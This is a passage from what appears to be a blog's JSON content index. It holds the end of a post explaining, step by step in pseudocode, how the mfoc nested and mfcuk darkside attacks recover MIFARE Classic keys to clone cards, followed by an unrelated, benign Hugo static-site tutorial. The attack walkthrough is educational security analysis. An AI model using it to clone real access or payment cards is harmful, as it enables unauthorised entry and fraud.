To implement these steps, an easy to use tool called mfoc was created. Combined with libnfc, it allows one to recover all keys (both A and B) by knowing a single key to any sector. If someone is interested, here is the detailed explanation of what the tool does:\n📘 Note: All following underscored names are variable/function names used in code. Everything else highlighted the same way (but without an underline) are placeholder names used only in this explanation\nProbe default keys on all sectors\nUse any exploit sector with default key for an attack\nFor each key:\nFor each sector:\nTry already found keys\nIf A found, B should be revealed after read. If not, continue\nFunction mf_enhanced_auth(... mode ...)\nSend auth request Auth with KNOWN KEY code (MC_AUTH_A/MC_AUTH_B)\nReceive tag nonce Nt\nInitialize cipher (pcs) with known key (KeyA/KeyB) in first place\nAppend UID XOR Nt to LSFR\nGenerate Nr, encrypt and send (ArEnc)\nSkip 32 bits of Nt (successor)\nXOR next byte (8 bit) with tag nonce Nt\nTransmit answer and verify received answer as suc3(Nt)\n8 steps above represent just a normal authentication process \u0026ldquo;Get Distances\u0026rdquo; mode (mode == \u0026ldquo;d\u0026rdquo;):\nEncrypt the same auth command Auth with current keystream, send it and receive encrypted nonce Nt' Reinitialize cipher (pcs) with the SAME KNOWN KEY (KeyA/KeyB) Obtain plaintext nonce Nt2 by using Nt' XOR crypto1_word(Nt' XOR UID, is_encrypted=true) and validate it Calculate LSFR shift count between Nt and Nt2 (distances) Repeat steps 6-8 above to verify obtained Nt2 Return median distance x between two given nonces (median) \u0026ldquo;Get Recovery\u0026rdquo; mode (mode == \u0026ldquo;r\u0026rdquo;):\nRepeat 9.1 and 9.2 with UNKNOWN KEY CODE and obtain encrypted nonce Nt' (NtEnc) Generate next x-y bits of Nt (plaintext auth), where y is DEFAULT_TOLERANCE = 20. Created plaintext nonce will be called Nt2 (NtProbe) Loop: \u0026ldquo;Recover\u0026rdquo; ks1 by XORing Nt' with Nt2 Check if ks1 is a valid keystream by checking parity bits. If correct, plaintext nonce Nt2 is also correct Perform LSFR Rollback and obtain the key If not, generate next 2 bits of Nt2 and loop, until we reach nonce at x+y (median distance + tolerance). This way we reduce possible nonce count to only a small pool, specified by DEFAULT_TOLERANCE Nt ... x-y ... Correct Nt2 somewhere here ... x+y Execute mf_enhanced_auth(\u0026quot;d\u0026quot;) to obtain median distance\nExecute mf_enhanced_auth(\u0026quot;r\u0026quot;) to obtain the key\nDarkside attack Pretty easy to recover everything by knowing almost nothing at all, right? But what if we don\u0026rsquo;t know no keys at all? This is where \u0026ldquo;darkside\u0026rdquo; attack can help. It abuses encrypted NACK error code, when we send incorrect data, but correct parity bits. Since we know plaintext code of 0x5, we can recover 4 bits of keystream per attempt. After 8 attempts we would have enough info (32 bits) to perform LSFR Rollback and obtain the key. Since we can\u0026rsquo;t directly recover the whole keystream and rely on a lot of \u0026ldquo;guessing\u0026rdquo;, this approach is much slower than one showed above. Therefore, it is recommended to switch to nested attack after obtaining one key using the darkside one.\nFor this method, another tool called mfcuk was developed, which works the following way:\nFor each last block of a sector - call mfcuk_key_recovery_block(... ui64Key ...) with ui64Key set to 0 Send auth request (abtAuth) with key type to recover (bKeyType) Save plaintext tag nonce Nt and check if it was already observed If not, add it to an array with unique nonces, generate fixed (hardcoded) reader nonce Nr (spoofNrEnc), wrong challenge response Ar (spoofArEnc), set parity bits P to 0 (spoofParBitsEnc) and current attempt Att to -1 (stage 1) (current_out_of_8) Else, validate count of checked parity possibilities against a known nonce If all 3-bit-parities (8 possibilities) checked OR (stage 2 (Att \u0026gt;= 0) AND above 32 combinations of the last 5 bits of parity bits which generated the first NACK) generate next Nr, reset P to 0 and Att to -1 (stage 1) Initialize Crypto-1 with key set to 0 and UID XOR Nt Encrypt Nr and P Skip 32 bits of Nt (successor) Encrypt Ar and P with new keystream If Att \u0026gt;= 0 (stage 2), increment Transmit 2 answers If transmission failed (nfc_initiator_transceive_bits == -1), increment P and start from beginning Else if response is 4 bit - parity bits are correct and encrypted NACK (0x5) response code received If we are at stage 1 (Att == -1) Save encrypted NACK response NACK' (spoofNackEnc) Get 4 bit keystream by XORing NACK' with known 0x5 value (will not be used later, I don\u0026rsquo;t know why) Save first 29 bits of Nr (nrEnc) and 3 bits of P (parBits) Switch to stage 2 (Att = 0) Else if we are at stage 2 (Att \u0026gt;= 0) Add encrypted NACK response NACK' into array nackEnc Decode another 4 bits of keystream as in step 2 of stage 1 above. Save this information into ks array Increment Att If Att == 8, then 32 bit keystream recovered Try to perform LSFR Rollback and obtain the key. If no success, reset Nr, P and Att to stage 1 Else if response is 32 bits long - we were VERY lucky and the \u0026ldquo;dummy\u0026rdquo; key we initialized cipher with (ui64Key) is correct! Hardnested attack Remember the statement that a key brute-force is very inefficient? It is, unless it is an offline attack with a reduced key space. This is the approach hardnested attack uses. By collecting lots of encrypted nonces, it reduces possible key space and then performs an offline brute-force with LSFR Rollback, where it checks parity bits to find a valid key. However, more detailed explanation of this method is so (mathematically and generally) complex, that I won\u0026rsquo;t go too deep. If you are interested - the paper is linked above and at the bottom of the page :)\nConclusion Unless you have a \u0026ldquo;hardened\u0026rdquo; EV1 version of the Classic card, above attacks guarantee 99% data recovery rate. Even with a 4K card and no known keys it takes under 15 minutes to fully clone a card by combining nested and darkside attacks. If you are interested in practical demonstrations, you should definitely check out part 2. I won\u0026rsquo;t say goodbye at this point, see you in the next article!\nLiterature https://www.cs.virginia.edu/~evans/pubs/usenix08/usenix08.pdf https://www.cs.bham.ac.uk/~garciaf/publications/Attack.MIFARE.pdf https://www.cs.bham.ac.uk/~garciaf/publications/Dismantling.Mifare.pdf https://www.cs.umd.edu/~jkatz/security/downloads/Mifare3.pdf https://eprint.iacr.org/2009/137.pdf https://cs.ru.nl/~rverdult/Ciphertext-only_Cryptanalysis_on_Hardened_Mifare_Classic_Cards-CCS_2015.pdf https://nethemba.com/resources/mifare-classic-slides.pdf https://www.blackhat.com/docs/sp-14/materials/arsenal/sp-14-Almeida-Hacking-MIFARE-Classic-Cards-Slides.pdf https://www.youtube.com/watch?v=OQVz7y2EyHM https://ceres-c.it/2021/10/24/weaponizing-NFC-reader/ ","permalink":"/posts/mfclassic/part-1/","summary":"How most popular NFC cards turned into a dangerous accessoire waiting for hackers to exploit","title":"Insecurity of Mifare Classic (Part 1)"},{"content":"This is a tutorial for a basic setup and usage of Hugo static site generator. Here you will get an unofficial \u0026ldquo;quick-start\u0026rdquo; and I will discover new features and challenge myself to create my first ((this)) post. The article aims to give a basic-to-advance overview of Hugo\u0026rsquo;s functionality, assuming that you know what it is. This text may contain errors due to misunderstanding and lack of experience, but I will try my best to summarize everything.\nBasic usage Installation I recommend installing Hugo from their releases rather than your package manager. Hugo version from Debian repository did not support my \u0026ldquo;PaperMod\u0026rdquo; theme, thus use GitHub. You may download an archive and unzip it into */bin or get a .deb (if you are on a Debian-based distro) and install it using sudo dpkg -i hugo.deb .\nQuick start To create a new Website, run the following commands:\nhugo new site SITE_NAME cd SITE_NAME This will create a directory SITE_NAME and initialize basic configuration to directly run Hugo.\nYou can also choose a theme for your website from Hugo\u0026rsquo;s catalog. You can apply it using following commands:\ngit init git submodule add THEME_GIT_URL themes/SIMPLE_THEME_NAME echo \u0026#34;theme = \u0026#39;SIMPLE_THEME_NAME\u0026#39;\u0026#34; \u0026gt;\u0026gt; config.toml By using git submodule you can later easily update all your website\u0026rsquo;s git dependencies by running git submodule update\nPersonally, I prefer yaml over toml. Therefore, all further configuration will be written in yaml. You may also want to convert your config into other format by using this or any other converter and creating a new config.yml with new configuration. You can move or remove the old config.toml. Alternatively, you can use the same converter to convert further configuration back to toml.\nAdding content After setting up basic configuration, time to add a first page. Run hugo new posts/my-first-post.md from your root website directory to create a new post. Alternatively, you may create a file yourself, but you would need to add a header to the post yourself:\n--- title: \u0026#34;My First Post\u0026#34; date: 2022-11-20T09:03:20-08:00 draft: true --- You can also create a separate directory for your new post. It can be used to store assets and other post-related data. Just specify a folder name between posts/ and your markdown file in hugo new command. You can add basic content to your new markdown file under the header:\n## Introduction This is **bold** text, and this is *emphasized* text. Visit the [Hugo](https://gohugo.io) website! Now you can start your Hugo debug server:\nhugo server -D 📘 Note: If the server is running on a different machine, add these parameters to the command: --bind 0.0.0.0 --baseUrl MACHINE_IP\nThe -D parameter also publishes drafts, as specified in post\u0026rsquo;s header; if you wish to exclude them, remove this argument.\nNow you can edit config.yaml and change some of the basic configuration (like website name and base URL) and continue.\nPublishing your website hugo server is only used for creating drafts, to see live changes. When you are done with editing, you will have to use an external web server to publish your files. By simply running hugo command from the root of your website, it creates HTML from markdown files in public directory. You may want to clear it beforehand yourself, since Hugo doesn\u0026rsquo;t do this automatically and may leave rest files from previous runs there. Afterward, we will use NGINX to serve the files:\nserver { root HUGO_WEBSITE_PATH/public; listen 80; listen [::]:80; # Uncomment to use SSL # listen 443 ssl http2; # listen [::]:443 ssl http2; # ssl_certificate SSL_PUBLIC_KEYCHAIN; # ssl_certificate_key SSL_PRIVATE_KEY; server_name DOMAIN_NAME; } Advanced usage This is where the advanced part begins. It contains documentation entries, my Internet research and discoveries, which I summarized and structured.\nSite structure To continue, we need to understand the basic structure of a Hugo website. Further, we will be accessing resources from all around the website and this knowledge will simplify our lives. This tree from official documentation perfectly explains the structure:\n. └── content └── about | └── index.md // \u0026lt;- https://example.com/about/ ├── posts | ├── firstpost.md // \u0026lt;- https://example.com/posts/firstpost/ | ├── happy | | └── ness.md // \u0026lt;- https://example.com/posts/happy/ness/ | └── secondpost.md // \u0026lt;- https://example.com/posts/secondpost/ └── quote ├── first.md // \u0026lt;- https://example.com/quote/first/ └── second.md // \u0026lt;- https://example.com/quote/second/ An example of a post with assets:\ncontent └── post ├── first-post │ ├── images │ │ ├── a.jpg │ │ ├── b.jpg │ │ └── c.jpg │ ├── index.md (root of page bundle) │ ├── latest.html │ ├── manual.json │ ├── notice.md │ ├── office.mp3 │ ├── pocket.mp4 │ ├── rating.pdf │ └── safety.txt └── second-post └── index.md (root of page bundle) One thing to add is that you can override a post URL by adding a url property to page variables.\nCustomizing appearance Each theme has its own configuration options and possibilities, and they are described in their repository. However, most configuration shares common concepts, which I will be going to explain. You will learn them on an example configuration of \u0026ldquo;PaperMod\u0026rdquo; theme.\nSite variables Site variables are defined in config.yaml / config.toml section. They are accessible in all pages and are applied globally, if they affect theme\u0026rsquo;s appearance. Most variables have to be put into params section. Example:\nauthor: Me hideFooter: true\t# PaperMod specific, hides the footer with unneeded text showtoc: true\t# Always show table of contents tocopen: true\t# Open TOC on page load fuseOpts:\t# Parameters for PaperMod search page, read further isCaseSensitive: false shouldSort: true location: 0 distance: 1000 threshold: 0.4 minMatchCharLength: 0 keys: [\u0026#34;title\u0026#34;, \u0026#34;permalink\u0026#34;, \u0026#34;summary\u0026#34;, \u0026#34;content\u0026#34;] Here are some additional commonly used variables:\noutputs:\t# Needed for PaperMod search home: - HTML - RSS - JSON\t# is necessary menu:\t# Navbar menu entries main: - name: Search pageRef: /search weight: 2\t# Higher weight means more to the right - name: Tags pageRef: /tags weight: 1 taxonomies:\t# Only use one taxonomy - tags (disable categories) tag: tags outputs defines output formats for given pages. For the search to work, we have to include JSON additionally to default HTML and RSS output formats for main (home) page. menu property defines menu entries. main, in this case, is the main navigation bar menu visible on all pages. The structure of this property is pretty straightforward, so I will skip explanation. There is also another way to add menu entries using page variables, but it\u0026rsquo;s easier to manage them if they are all in one place (config.yaml). taxonomies define pages for \u0026ldquo;tags\u0026rdquo;. By default, there are two categories: \u0026ldquo;tags\u0026rdquo; and \u0026ldquo;categories\u0026rdquo;. You can use \u0026ldquo;tags\u0026rdquo; for more detailed description of a page and \u0026ldquo;categories\u0026rdquo; for more general, like \u0026ldquo;tutorial\u0026rdquo; or \u0026ldquo;linux\u0026rdquo;, for example. These are later declared in page variables and appear under /tags or /categories URL. I disabled \u0026ldquo;categories\u0026rdquo; by defining \u0026ldquo;tags\u0026rdquo; as the only taxonomy, so I don\u0026rsquo;t have the second page. If you want to learn more, here is a list with all basic Hugo site variables. If you also use \u0026ldquo;PaperMod\u0026rdquo; theme like I do, here is the theme specific configuration.\nPage variables Page variables, on the other hand, are only accessible from a single post. They specify its \u0026ldquo;metadata\u0026rdquo; and some of the internal parameters (like expiry date), which are then processed by Hugo. By default, when creating a post with hugo new it automatically appends basic variables to the top of the document:\n--- title: \u0026#34;My First Post\u0026#34; date: 2022-11-20T09:03:20-08:00 draft: true --- It has YAML syntax (since opened and closed by ---). I personally prefer adding two more variables:\nurl: articles/first-post tags: [tutorial,educational] url is used to override the default path. Even though my-first-post.md is in posts folder and should be accessible at posts/my-first-post, it will be on articles/first-post. tags are keywords to speed up the search for posts. Read above to learn more about Taxonomies. References Resources When we speak about resources, we mostly understand videos and images. For some reason, official documentation doesn\u0026rsquo;t mention usage of basic markdown ![alt](src) construction, but instead suggests variables and Go-constructions. Unfortunately, you cannot use them directly in your markdown posts. You would have to create a shortcode, which accepts parameters and then passes them to templates\u0026hellip; Forget it. For most use cases, it\u0026rsquo;s enough to just use basic markdown image construction with a relative path to an it and a YouTube shortcode for videos. That\u0026rsquo;s it. Example:\nExample image ![First image I found on my laptop](images/orig.jpg) YouTube example:\n\\{\\{\u0026lt; youtube UTUMZfNP9dY \u0026gt;\\}\\} Where \u0026ldquo;UTUMZfNP9dY\u0026rdquo; is the YouTube video ID (in the URL). I had to escape braces to prevent Hugo from interpreting the above code snippet as a real video. Remove backslashes for the construction to work.\nLinks and cross references Official documentation provides a really good example:\n. └── content ├── about | ├── _index.md | └── credits.md ├── pages | ├── document1.md | └── document2.md // has anchor #anchor ├── products | └── index.md └── blog └── my-post.md \\{\\{\u0026lt; ref \u0026#34;document2\u0026#34; \u0026gt;\\}\\} // \u0026lt;- From pages/document1.md, relative path \\{\\{\u0026lt; ref \u0026#34;document2#anchor\u0026#34; \u0026gt;\\}\\} \\{\\{\u0026lt; ref \u0026#34;document2.md\u0026#34; \u0026gt;\\}\\} \\{\\{\u0026lt; ref \u0026#34;document2.md#anchor\u0026#34; \u0026gt;\\}\\} \\{\\{\u0026lt; ref \u0026#34;#anchor\u0026#34; \u0026gt;\\}\\} // \u0026lt;- From pages/document2.md \\{\\{\u0026lt; ref \u0026#34;/blog/my-post\u0026#34; \u0026gt;\\}\\} // \u0026lt;- From anywhere, absolute path \\{\\{\u0026lt; ref \u0026#34;/blog/my-post.md\u0026#34; \u0026gt;\\}\\} \\{\\{\u0026lt; relref \u0026#34;document\u0026#34; \u0026gt;\\}\\} \\{\\{\u0026lt; relref \u0026#34;document.md\u0026#34; \u0026gt;\\}\\} \\{\\{\u0026lt; relref \u0026#34;#anchor\u0026#34; \u0026gt;\\}\\} \\{\\{\u0026lt; relref \u0026#34;/blog/my-post.md\u0026#34; \u0026gt;\\}\\} As you can see, ref / relref (are identical and) are also shortcodes and thus can be used in Markdown. Example:\n[First image I found on my laptop](\\{\\{\u0026lt; relref \u0026#34;#example-img\u0026#34; \u0026gt;\\}\\}) First image I found on my laptop\nEach heading gets a unique ID during site building. It consists of its text in lower case, joined with \u0026lsquo;-\u0026rsquo; character. For example, \u0026ldquo;Links and cross references\u0026rdquo; has an ID of \u0026ldquo;links-and-cross-references\u0026rdquo;. If there are multiple headings with the same text, Hugo will append a number at the end, e.g \u0026ldquo;heading-1\u0026rdquo;, \u0026ldquo;heading-2\u0026rdquo;\u0026hellip; You can override the ID of an element by adding {#new-id} after heading text.\nSummary In this article, we discussed basic-to-advanced features of Hugo static website generator. It will be enough to build your own blog, technical documentation or a tutorial website like I have. However, there is a lot more to learn. Hugo has huge templates and functions sections, which allow you to customize your site even more. I do not have experience using them, and it\u0026rsquo;s a big topic which requires a separate post. Right now I\u0026rsquo;m happy with the configuration listed above, but if I discover something new, I will tell you. Stay tuned!\n","permalink":"/posts/hugo-intro/","summary":"Basic to advanced usage of Hugo static site generator","title":"Hugo Introduction"}]